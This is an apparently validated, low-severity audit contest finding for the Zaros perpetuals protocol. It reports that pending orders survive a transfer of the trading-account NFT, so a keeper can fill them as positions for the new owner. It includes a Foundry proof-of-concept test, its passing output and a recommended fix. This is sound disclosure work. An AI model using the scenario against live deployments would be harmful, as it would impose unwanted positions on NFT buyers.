Zaros Part 1
Zaros
DeFiFoundry
60,000 USDC
View results
Previous Next
Submission Details
Severity: low
Valid

When a user creates an order and then transfers the account NFT, pending orders should clear

spearmint

Vulnerability Details

When a user creates an order and then transfers the account NFT, pending orders should clear. Currently this is not the case and opens up scenarios where users create orders then transfer the NFT before it fills, then the keeper fills the new order opening a position for the NEW owner that did not make that order

Add the following POC to createMarketOrder.t.sol

function test__createOrderTHenTransferNft() public {
​
// setup the attacker and honest user
uint256 marginValueUsdc = 4_000e6;
int128 userPositionSizeDelta = 500_0e18;
deal({ token: address(usdc), to: users.naruto.account, give: marginValueUsdc });
deal({ token: address(usdc), to: users.sasuke.account, give: marginValueUsdc });
​
// attacker create trading account
changePrank({ msgSender: users.naruto.account });
uint128 tradingAccountId = createAccountAndDeposit(marginValueUsdc , address(usdc));
​
// Order creation by OLD owner
createOrderWithoutFilling(
DOGE_USD_MARKET_ID, DOGE_USD_STREAM_ID, MOCK_DOGE_USD_PRICE, tradingAccountId, userPositionSizeDelta / 2
);
​
// Old owner transfers the account NFT
tradingAccountToken.transferFrom(users.naruto.account, users.sasuke.account, tradingAccountId );
​
// Keeper fills the order for the NEW owner
bytes memory mockSignedReport = getMockedSignedReport(DOGE_USD_STREAM_ID, MOCK_DOGE_USD_PRICE);
changePrank({ msgSender: marketOrderKeepers[DOGE_USD_MARKET_ID] });
perpsEngine.fillMarketOrder(tradingAccountId, DOGE_USD_MARKET_ID, mockSignedReport);
}

Console output

Ran 1 test for test/integration/perpetuals/order-branch/createMarketOrder/createMarketOrder.t.sol:CreateMarketOrder_Integration_Test
[PASS] test__createOrderTHenTransferNft() (gas: 1187716)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.68ms (1.59ms CPU time)
​
Ran 1 test suite in 10.34ms (9.68ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Anytime these NFT's are exchanged it opens up the described attack vector, there can never be an NFT marketplace for zaros positions if this is the case

User has a position they did not want/expect

Tools Used

Manual Review

Recommendations

clear pending orders when the NFT is transferred

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

When a user creates an order and then transfers the account NFT, pending orders should clear

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!